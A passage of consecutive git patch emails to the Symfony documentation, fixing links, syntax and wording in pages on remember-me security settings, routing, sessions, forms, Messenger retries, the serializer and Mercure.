                         signature_properties: ['password', 'updatedAt']
 
@@ -357,7 +355,7 @@ are fetched from the user object using the
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <signature-property>password</signature-property>
                         <signature-property>updatedAt</signature-property>
                     </remember-me>
@@ -375,7 +373,6 @@ are fetched from the user object using the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->signatureProperties(['password', 'updatedAt'])
             ;
@@ -419,7 +416,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         token_provider:
                             doctrine: true
@@ -442,7 +438,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <token-provider doctrine="true"/>
                     </remember-me>
                 </firewall>
@@ -459,7 +455,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->tokenProvider([
                         'doctrine' => true,

From 0b5820fa2a488d35fa62824e01545ce506e7f9bc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 27 Nov 2024 12:02:26 +0100
Subject: [PATCH 5173/5766] Rename variable to stay consistent

---
 routing.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index 4b4f4f9e871..9828835e7c7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2671,11 +2671,11 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        private $router;
+        private $urlGenerator;
 
-        public function __construct(UrlGeneratorInterface $router)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
-            $this->router = $router;
+            $this->urlGenerator = $urlGenerator;
         }
 
         public function someMethod()
@@ -2683,20 +2683,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
             // ...
 
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
             // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
         }
     }
 

From f6a61f9d36d407c591227b1709e04f313e7fcf34 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 30 Nov 2024 16:39:05 +0100
Subject: [PATCH 5174/5766] Fix minor syntax issues

---
 configuration.rst                             |  2 +-
 messenger.rst                                 |  2 +-
 reference/attributes.rst                      |  2 +-
 reference/configuration/framework.rst         |  2 -
 reference/constraints/Callback.rst            |  6 +-
 reference/constraints/_payload-option.rst.inc |  2 -
 reference/dic_tags.rst                        |  2 +-
 service_container/service_decoration.rst      | 74 +++++++++----------
 8 files changed, 45 insertions(+), 47 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2a5303741c1..3ddcf453dd7 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -391,7 +391,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
     By convention, parameters whose names start with a dot ``.`` (for example,
     ``.mailer.transport``), are available only during the container compilation.
-    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
 .. versionadded:: 6.3
diff --git a/messenger.rst b/messenger.rst
index e61a13e1c86..87102811316 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -919,7 +919,7 @@ Rate Limited Transport
     The ``rate_limiter`` option was introduced in Symfony 6.2.
 
 Sometimes you might need to rate limit your message worker. You can configure a
-rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`)
 by setting its ``rate_limiter`` option:
 
 .. configuration-block::
diff --git a/reference/attributes.rst b/reference/attributes.rst
index feadec70d3c..9ead60b3662 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,7 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireIterator <service-locator_autowire-iterator>`
+* :ref:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8e1f6af81fa..6d32065540c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -236,8 +236,6 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
-.. _configuration-framework-http_method_override:
-
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 3424d47c9d3..a6944c241cf 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -271,14 +271,16 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument,
 the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. _reference-constraints-callback-payload:
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index a76c9a4a29d..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,3 @@
-.. _reference-constraints-payload:
-
 ``payload``
 ~~~~~~~~~~~
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index cf908c4dd24..2ea62bc9def 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -335,7 +335,7 @@ controller.argument_value_resolver
 Value resolvers implement the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
-:doc:`/controller/argument_value_resolver`.
+:doc:`/controller/value_resolver`.
 
 .. versionadded:: 6.2
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0f75b5284c8..18bc5d4d85f 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -299,35 +299,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
-            #[AsDecorator(decorates: Foo::class, priority: 5)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 5)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
+            // ...
+        }
 
-            #[AsDecorator(decorates: Foo::class, priority: 1)]
-            class Baz
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 1)]
+        class Baz
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -619,24 +619,24 @@ Three different behaviors are available:
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
-
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
-            use Symfony\Component\DependencyInjection\ContainerInterface;
+    .. code-block:: php-attributes
 
-            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated] private $inner,
-                ) {
-                }
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        use Symfony\Component\DependencyInjection\ContainerInterface;
 
-                // ...
+        #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated] private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From c71b9f93795d90f0ae377f17026173f1e1c949a5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 08:38:44 +0100
Subject: [PATCH 5175/5766] remove a gc_probability default mention

---
 session.rst | 17 +++++------------
 1 file changed, 5 insertions(+), 12 deletions(-)

diff --git a/session.rst b/session.rst
index 393cd24a898..aa4c3ba381f 100644
--- a/session.rst
+++ b/session.rst
@@ -494,18 +494,7 @@ deleted. This allows one to expire records based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
 the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        session:
-            # ...
-            gc_probability: null
+collection.
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
@@ -513,6 +502,10 @@ and ``gc_maxlifetime`` in an array to the constructor of
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
+.. versionadded:: 7.2
+
+    Starting from Symfony 7.2, ``php.ini``'s directive is used as default for ``gc_probability``.
+
 .. _session-database:
 
 Store Sessions in a Database

From 2083dc2eb14cc9b7d7213249d4d0437d36b997ce Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 10:40:51 +0100
Subject: [PATCH 5176/5766] Allow integer for the calendar option of DateType

---
 reference/forms/types/date.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index e88e91d80dd..6b8d21a19bd 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -156,11 +156,12 @@ values for the year, month and day fields::
 ``calendar``
 ~~~~~~~~~~~~
 
-**type**: ``\IntlCalendar`` **default**: ``null``
+**type**: ``integer`` or ``\IntlCalendar`` **default**: ``null``
 
 The calendar to use for formatting and parsing the date. The value should be
-an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
-calendar with the application default locale is used.
+an ``integer`` from :phpclass:`IntlDateFormatter` calendar constants or an instance
+of the :phpclass:`IntlCalendar` to use. By default, the Gregorian calendar
+with the application default locale is used.
 
 .. versionadded:: 7.2
 

From 2ab38573bd17812d4875c4a6cb9872432a2e2fdc Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 29 Nov 2024 22:24:23 -0300
Subject: [PATCH 5177/5766] Fix reference to `vendor/` dir

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 69c9993e603..699901ccd18 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -253,7 +253,7 @@ deprecations but:
 * forget to mark appropriate tests with the ``@group legacy`` annotations.
 
 By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are
-triggered outside the ``vendors`` directory will be accounted for separately,
+triggered outside the ``vendor/`` directory will be accounted for separately,
 while deprecations triggered from a library inside it will not (unless you reach
 999999 of these), giving you the best of both worlds.
 

From 0b521e7dcd51f9a204a6cc26f42e1ad44b758732 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 29 Nov 2024 16:09:49 +0100
Subject: [PATCH 5178/5766] URLType: explain `null` value for
 `default_protocol`

---
 reference/forms/types/url.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 5f97fcb89a4..a13f6e4567d 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -27,6 +27,8 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
+Set the value as ``null`` to render the field as ``<input type="url"/>``.
+
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.

From a798057e31c64066bc711660a77a3d84cc24119f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 15:51:05 +0100
Subject: [PATCH 5179/5766] Reword

---
 reference/forms/types/url.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a13f6e4567d..cba961aa8b7 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -27,7 +27,12 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
-Set the value as ``null`` to render the field as ``<input type="url"/>``.
+Set this value to ``null`` to render the field using a ``<input type="url"/>``,
+allowing the browser to perform local validation before submission.
+
+When this value is neither ``null`` nor an empty string, the form field is
+rendered using a ``<input type="text"/>``. This ensures users can submit the
+form field without specifying the protocol.
 
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when

From a0f7fab6e75ac4b76e21f5f412132f1bebed375a Mon Sep 17 00:00:00 2001
From: Morf <1416936+m0rff@users.noreply.github.com>
Date: Mon, 2 Dec 2024 16:10:23 +0100
Subject: [PATCH 5180/5766] fix: Update micro_kernel_trait.rst

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c9739679f69..62e8c2d4128 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,7 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer symfony/framework-bundle symfony/runtime
+    $ composer require symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 

From 646e1995c71abf8b84e75c51cc355b1cc5e258b4 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 10:13:27 +0100
Subject: [PATCH 5181/5766] [Messenger] Document `getRetryDelay()`

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 74f7d792436..aa46ef9b1d3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1134,6 +1134,13 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
+If you want to override retry delay form the retry strategy. You can achieve this
+using by providing it in the exception, using the ``getRetryDelay()`` method from :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableExceptionInterface`.
+
+.. versionadded:: 7.2
+
+    The method ``getRetryDelay()`` was introduced in Symfony 7.2.
+
 .. _messenger-failure-transport:
 
 Saving & Retrying Failed Messages

From f99ae716aeb01cc279f4def8386f4d4fa7d7c190 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 16:21:58 +0100
Subject: [PATCH 5182/5766] Reword

---
 messenger.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 35db17a75b3..053ccfd172e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1134,12 +1134,14 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
-If you want to override retry delay form the retry strategy. You can achieve this
-using by providing it in the exception, using the ``getRetryDelay()`` method from :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableExceptionInterface`.
+You can define a custom retry delay (e.g., to use the value from the ``Retry-After``
+header in an HTTP response) by setting the ``retryDelay`` argument in the
+constructor of the ``RecoverableMessageHandlingException``.
 
 .. versionadded:: 7.2
 
-    The method ``getRetryDelay()`` was introduced in Symfony 7.2.
+    The ``retryDelay`` argument and the ``getRetryDelay()`` method were introduced
+    in Symfony 7.2.
 
 .. _messenger-failure-transport:
 

From 977be3230885146769f8304e9aa0a578b4cc372e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 16:34:09 +0100
Subject: [PATCH 5183/5766] Reword

---
 session.rst | 23 +++++++++++++++++------
 1 file changed, 17 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index aa4c3ba381f..e3f2246b6f6 100644
--- a/session.rst
+++ b/session.rst
@@ -492,19 +492,30 @@ the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this contex
 that any stored session that was saved more than ``gc_maxlifetime`` ago should be
 deleted. This allows one to expire records based on idle time.
 
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection.
+However, some operating systems (e.g. Debian) manage session handling differently
+and set the ``session.gc_probability`` variable to ``0`` to prevent PHP from performing
+garbage collection. By default, Symfony uses the value of the ``gc_probability``
+directive set in the ``php.ini`` file. If you can't modify this PHP setting, you
+can configure it directly in Symfony:
 
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        session:
+            # ...
+            gc_probability: 1
+
+Alternatively, you can configure these settings by passing ``gc_probability``,
+``gc_divisor`` and ``gc_maxlifetime`` in an array to the constructor of
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
 .. versionadded:: 7.2
 
-    Starting from Symfony 7.2, ``php.ini``'s directive is used as default for ``gc_probability``.
+    Using the ``php.ini`` directive as the default value for ``gc_probability``
+    was introduced in Symfony 7.2.
 
 .. _session-database:
 

From 00a781fdd643e516a6f196e84e765716e5a99e44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 2 Dec 2024 17:25:05 +0100
Subject: [PATCH 5184/5766] Update mailer.rst: Changing order of tips

Page: https://symfony.com/doc/current/mailer.html#email-addresses

Reason: Bring the 2 IDN-related tips together.
---
 mailer.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8ff13c2561a..9cfba6c1a71 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -560,17 +560,17 @@ both strings or address objects::
         // ...
     ;
 
-.. versionadded:: 7.2
-
-    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
-    was introduced in Symfony 7.2.
-
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
     :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. note::
 
     The local part of the address (what goes before the ``@``) can include UTF-8

From 290cfae212ebfa59444a775ab91cd63b2be87232 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 4 Dec 2024 00:06:54 +0100
Subject: [PATCH 5185/5766] [Serializer] Minor improvements

---
 serializer.rst          | 16 +++++++++++-----
 serializer/encoders.rst |  3 ++-
 2 files changed, 13 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 4efdbf2dd45..80d0419bd9a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -958,16 +958,22 @@ parameter::
     $jsonData = ...; // the serialized JSON data from the previous example
     $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
 
-For nested classes, you have to add a PHPDoc type to the property/setter::
+For nested classes, you have to add a PHPDoc type to the property, constructor or setter::
 
     // src/Model/UserGroup.php
     namespace App\Model;
 
     class UserGroup
     {
-        private array $members;
+        /**
+         * @param Person[] $members
+         */
+        public function __construct(
+            private array $members,
+        ) {
+        }
 
-        // ...
+        // or if you're using a setter
 
         /**
          * @param Person[] $members
@@ -976,6 +982,8 @@ For nested classes, you have to add a PHPDoc type to the property/setter::
         {
             $this->members = $members;
         }
+
+        // ...
     }
 
 .. tip::
@@ -1357,8 +1365,6 @@ normalizers (in order of priority):
     During denormalization, it supports using the constructor as well as
     the discovered methods.
 
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`
-
 .. danger::
 
     Always make sure the ``DateTimeNormalizer`` is registered when
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index c8bddc604ba..37f4eee5a04 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -311,7 +311,8 @@ as a service in your app. If you're using the
 that's done automatically!
 
 If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-to register your class as a service and tag it with ``serializer.encoder``:
+to register your class as a service and tag it with
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`:
 
 .. configuration-block::
 

From 36326a92dfc13b91eabffd7144bf8f25519b6c7a Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 4 Dec 2024 10:24:01 +0100
Subject: [PATCH 5186/5766] fix broken links and syntax issues

---
 serializer.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 4efdbf2dd45..cb83f3b6696 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -290,9 +290,9 @@ The serializer, and its normalizers and encoders, are configured through
 the *serializer context*. This context can be configured in multiple
 places:
 
-* `Globally through the framework configuration <Configure a Default Context>`_
-* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_
-* `For a specific property <Configure Context on a Specific Property>`_
+* :ref:`Globally through the framework configuration <serializer-default-context>`
+* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>`
+* :ref:`For a specific property <serializer-using-context-builders>`
 
 You can use all three options at the same time. When the same setting is
 configured in multiple places, the latter in the list above will override
@@ -363,6 +363,8 @@ instance to disallow extra fields while deserializing:
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+.. _serializer-context-while-serializing-deserializing:
+
 Pass Context while Serializing/Deserializing
 ............................................
 
@@ -1482,7 +1484,7 @@ Debugging the Serializer
 
 .. versionadded:: 6.3
 
-    The debug:serializer`` command was introduced in Symfony 6.3.
+    The ``debug:serializer`` command was introduced in Symfony 6.3.
 
 Use the ``debug:serializer`` command to dump the serializer metadata of a
 given class:
@@ -1969,7 +1971,7 @@ these type names to the real PHP class name when deserializing:
         </serializer>
 
 With the discriminator map configured, the serializer can now pick the
-correct class for properties typed as `InvoiceItemInterface`::
+correct class for properties typed as ``InvoiceItemInterface``::
 
 .. configuration-block::
 

From ec2743dd19e580971b8707eff6a66edcdf9f10a2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 3 Dec 2024 12:05:33 +0100
Subject: [PATCH 5187/5766] [HttpFoundation] Do not use named parameters in
 example

---
 components/http_foundation.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 4dcf3b1e4da..c91ec5ced8f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -367,11 +367,13 @@ of the ``anonymize()`` method to specify the number of bytes that should be
 anonymized depending on the IP address format::
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, 3);
     // $anonymousIpv4 = '123.0.0.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // (you must define the second argument (bytes to anonymize in IPv4 addresses)
+    // even when you are only anonymizing IPv6 addresses)
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, 3, 10);
     // $anonymousIpv6 = '2a01:198:603::'
 
 .. versionadded:: 7.2

From 521a7289ada85df4abc002663e08f0cf100e5fdc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 18:11:31 +0100
Subject: [PATCH 5188/5766] [Mercure] Shortening the screenshot description

---
 mercure.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index cd1fc658e63..9a11e0b8d3c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -312,18 +312,12 @@ as patterns:
 
 .. tip::
 
-    Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
-    the received events:
+    Google Chrome features a practical UI to display the received events:
 
     .. image:: /_images/mercure/chrome.png
         :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
-    To use it:
-
-    * open the DevTools
-    * select the "Network" tab
-    * click on the request to the Mercure hub
-    * click on the "EventStream" sub-tab.
+    In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab.
 
 Discovery
 ---------
@@ -676,7 +670,7 @@ sent:
         mercure.hub.default:
             class: App\Tests\Functional\Stub\HubStub
 
-As MercureBundle support multiple hubs, you may have to replace
+As MercureBundle supports multiple hubs, you may have to replace
 the other service definitions accordingly.
 
 .. tip::
@@ -766,7 +760,6 @@ Going further
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket

From 5e60b342adbb63458dc1598470924bf92ce12c67 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 18:57:32 +0100
Subject: [PATCH 5189/5766] Update mercure.rst: Deleting forgotten(?) sentence

Page: https://symfony.com/doc/5.x/mercure.html#debugging

Config instructions were added at https://github.com/symfony/symfony-docs/pull/12598 and later removed at https://github.com/symfony/symfony-docs/pull/15924

But I can't get the profiler to work. On which page am I supposed to open it? I guess on the one containing the JavaScript? (i.e. same page as I see the EventStrems in Chrome DevTools)?
What do I have to do to get this to work?
On the profiler page, the "Mercure" entry is always greyed out.
---
 mercure.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9a11e0b8d3c..e05f9033876 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -684,8 +684,6 @@ Debugging
 
     The WebProfiler panel was introduced in MercureBundle 0.2.
 
-Enable the panel in your configuration, as follows:
-
 MercureBundle is shipped with a debug panel. Install the Debug pack to
 enable it::
 

From 0c9d0ac831135ab3bd6c73a32ea9f431d9e0cede Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2024 16:09:21 +0100
Subject: [PATCH 5190/5766] [Security] Fix the namespace of a code example

---
 security.rst | 2 +-
